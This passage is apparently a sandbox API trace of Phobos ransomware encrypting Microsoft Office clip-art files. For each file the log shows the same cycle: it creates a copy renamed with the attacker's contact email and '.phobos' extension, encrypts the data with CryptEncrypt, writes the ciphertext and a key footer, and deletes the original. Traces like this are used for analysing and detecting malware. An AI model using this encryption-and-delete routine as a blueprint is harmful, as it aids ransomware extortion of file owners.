pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x2430) returned 1 [0056.085] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x2430, lpOverlapped=0x0) returned 1 [0056.086] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d170) returned 1 [0056.086] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.086] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.086] CryptDestroyKey (hKey=0x10d170) returned 1 [0056.086] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.086] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0056.086] CloseHandle (hObject=0x31c) returned 1 [0056.087] CloseHandle (hObject=0x308) returned 1 [0056.130] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0056.138] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.139] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3378) returned 1 [0056.139] CloseHandle (hObject=0x31c) returned 1 [0056.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 0x220 [0056.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.140] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.140] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.140] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cdf0) returned 1 [0056.140] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.140] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xd32, lpOverlapped=0x0) returned 1 [0056.163] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd40, dwBufLen=0xd40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd40) returned 1 [0056.163] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xd40, lpOverlapped=0x0) returned 1 [0056.164] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0056.164] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.164] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.164] CryptDestroyKey (hKey=0x10cf70) returned 1 [0056.164] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.164] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.164] CloseHandle (hObject=0x31c) returned 1 [0056.164] CloseHandle (hObject=0x2e4) returned 1 [0056.165] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0056.173] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.401] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3026) returned 1 [0056.401] CloseHandle (hObject=0x31c) returned 1 [0056.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0056.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.403] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.403] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.403] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0056.403] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.403] ReadFile (in: hFile=0x320, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xbd2, lpOverlapped=0x0) returned 1 [0056.420] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xbe0) returned 1 [0056.420] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xbe0, lpOverlapped=0x0) returned 1 [0056.421] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10ccf0) returned 1 [0056.421] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.421] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.421] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0056.421] WriteFile (in: hFile=0x308, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.421] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0056.421] CloseHandle (hObject=0x320) returned 1 [0056.421] CloseHandle (hObject=0x308) returned 1 [0056.422] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0056.423] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.424] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=20578) returned 1 [0056.424] CloseHandle (hObject=0x320) returned 1 [0056.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0056.425] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.426] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.426] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.427] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbf0) returned 1 [0056.427] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.427] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x5062, lpOverlapped=0x0) returned 1 [0056.438] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5070, dwBufLen=0x5070 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x5070) returned 1 [0056.438] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x5070, lpOverlapped=0x0) returned 1 [0056.439] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc30) returned 1 [0056.439] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.439] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.439] CryptDestroyKey (hKey=0x10cc30) returned 1 [0056.439] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.439] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0056.440] CloseHandle (hObject=0x2e4) returned 1 [0056.440] CloseHandle (hObject=0x31c) returned 1 [0056.441] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0056.442] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.442] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=14428) returned 1 [0056.442] CloseHandle (hObject=0x31c) returned 1 [0056.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0056.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.443] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.443] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.443] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cf70) returned 1 [0056.443] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.443] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x385c, lpOverlapped=0x0) returned 1 [0056.451] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3860, dwBufLen=0x3860 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3860) returned 1 [0056.451] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3860, lpOverlapped=0x0) returned 1 [0056.452] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d1f0) returned 1 [0056.452] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.452] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.452] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0056.452] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.453] CryptDestroyKey (hKey=0x10cf70) returned 1 [0056.453] CloseHandle (hObject=0x31c) returned 1 [0056.453] CloseHandle (hObject=0x2e4) returned 1 [0056.454] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0056.455] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.455] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3344) returned 1 [0056.455] CloseHandle (hObject=0x2e4) returned 1 [0056.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0056.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.455] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.455] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0056.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.456] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc70) returned 1 [0056.456] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.456] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xd10, lpOverlapped=0x0) returned 1 [0056.459] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd20, dwBufLen=0xd20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xd20) returned 1 [0056.459] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xd20, lpOverlapped=0x0) returned 1 [0056.460] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10caf0) returned 1 [0056.460] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0056.460] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0056.460] CryptDestroyKey (hKey=0x10caf0) returned 1 [0056.460] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0056.460] CryptDestroyKey (hKey=0x10cc70) returned 1 [0056.460] CloseHandle (hObject=0x2e4) returned 1 [0056.460] CloseHandle (hObject=0x31c) returned 1 [0056.461] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0056.462] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0056.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.464] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1596) returned 1 [0056.464] CloseHandle (hObject=0x31c) returned 1 [0056.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0056.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 